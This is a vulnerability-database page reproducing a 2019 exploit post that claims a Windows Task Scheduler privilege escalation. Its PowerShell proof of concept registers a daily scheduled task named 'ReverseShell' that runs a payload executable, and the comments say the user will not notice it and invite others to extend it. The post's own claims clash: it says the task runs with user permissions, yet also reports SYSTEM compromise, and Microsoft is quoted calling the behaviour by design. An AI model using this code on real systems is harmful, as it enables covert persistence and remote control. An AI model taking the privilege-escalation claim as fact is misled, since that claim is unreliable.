Lucene search
K

Microsoft Windows Task Scheduler Privilege Escalation Vulnerability

🗓️ 14 Jul 2019 00:00:00Reported by Social Engineering NeoType 
zdt
 zdt
🔗 0day.today👁 99 Views

Microsoft Windows Task Scheduler Privilege Escalation Vulnerability from Windows 7 to Windows 10 1903 by Social Engineering Neo. Normal Users Able to Trigger Programs at Intervals on any Account without Proper Authorizatio

Code
# Exploit Title: Microsoft Windows Task Scheduler Privilege Escalation 
# Date: 10/7/19
# Exploit Author: Social Engineering Neo
# Version: Windows 7 SP1 → Windows 10 1903
# Tested on: 7 SP1, 10 1809 & 1903


#    Microsoft Windows Task Scheduler EoP Report by Social Engineering Neo.
#
#    Normal Users are able to Tirgger Programs at Intervals on any Account on the Host System/Domain without Propper Authorization.
#    Read our in depth report @ https://github.com/SocialEngineeringNeo/Exploits/blob/master/Our%20Exploits/Microsoft/taskschdEoP_Report.txt 

#Platform:
#
#    Windows 7 SP1, Windows 10 (1809 & 1903), All versions in between are likely to be affected.
#    Tested on the most recent security patch. (July 2019)


#Class:
#
#    Improper Authorization (CWE-285).
#    Remote Code Execution.

#Proof of Concept: -

#Windows ≤7
Import-Module PSScheduledJob
$trigger = New-JobTrigger -Daily -At 9pm
Register-ScheduledJob -Name "ReverseShell" -FilePath 'C:\Users\seneo\Documents\payload-x64.exe' -Description "This Task Will Run the Reverse Shell." -Trigger $trigger

#Windows ≥8
Import-Module ScheduledTasks
$action = New-ScheduledTaskAction -Execute 'C:\Users\seneo\Documents\payload-x64.exe'
$trigger =  New-ScheduledTaskTrigger -Daily -At 9pm
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "ReverseShell" -Description "This Task Will Run the Reverse Shell."


#CLI NOTE: - We have not put much time/effort into the script-based PoC, we encourage a skilled programmer to elaborate on this further;)
#        : - PoC will run task with "user" permissions.
#        : - You obviously need your own payload and configure accordingly.


#VIDEO: -    https://youtu.be/z2C-IykCfbk **updated**
#     : -    https://youtu.be/_leFNyo5wxM *original*



#Expected Result: -
#
#    Normal users should not be able to run tasks as other user and execute programs on accounts without proper authorization.


#Observed Result: -
#
#    Task runs with 'SYSTEM' privileges on all users upon trigger with no authentication, leading to total system compromisation.



#NOTE: - We reported this issue to Microsoft.
#    : - According to Microsoft, this functionality is considered "By Design" & have no intent to service this issue.
#    : - Have a read @ https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria
#    : - We (Social Engineering Neo) consider this as a PoC rather than an actual exploit.
#    : - Because the payload was being loaded through Task Scheduler, the user will have no knowlege the payload is being ran. (even if they checked)


#TIMELINE: - Discovery         5th July 2019
#        : - Initial Report    5th July 2019
#        : - Case Opened       8th July 2019
#        : - Added Detail      8th July 2019    *Public Disclosure Date: - 30th July 2019 (25 days from initial discovery)
#        : - MSRC Response     9th July 2019
#        : - Our Response      9th July 2019
#        : - Case Closed       9th July 2019
#        : - MSRC Response     9th July 2019
#        : - Our Response      9th July 2019    *Public Disclosure Date: - 10th July 2019 (24 hours from closed case)
#
#        : - We thank the MSRC team for their quick response.

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation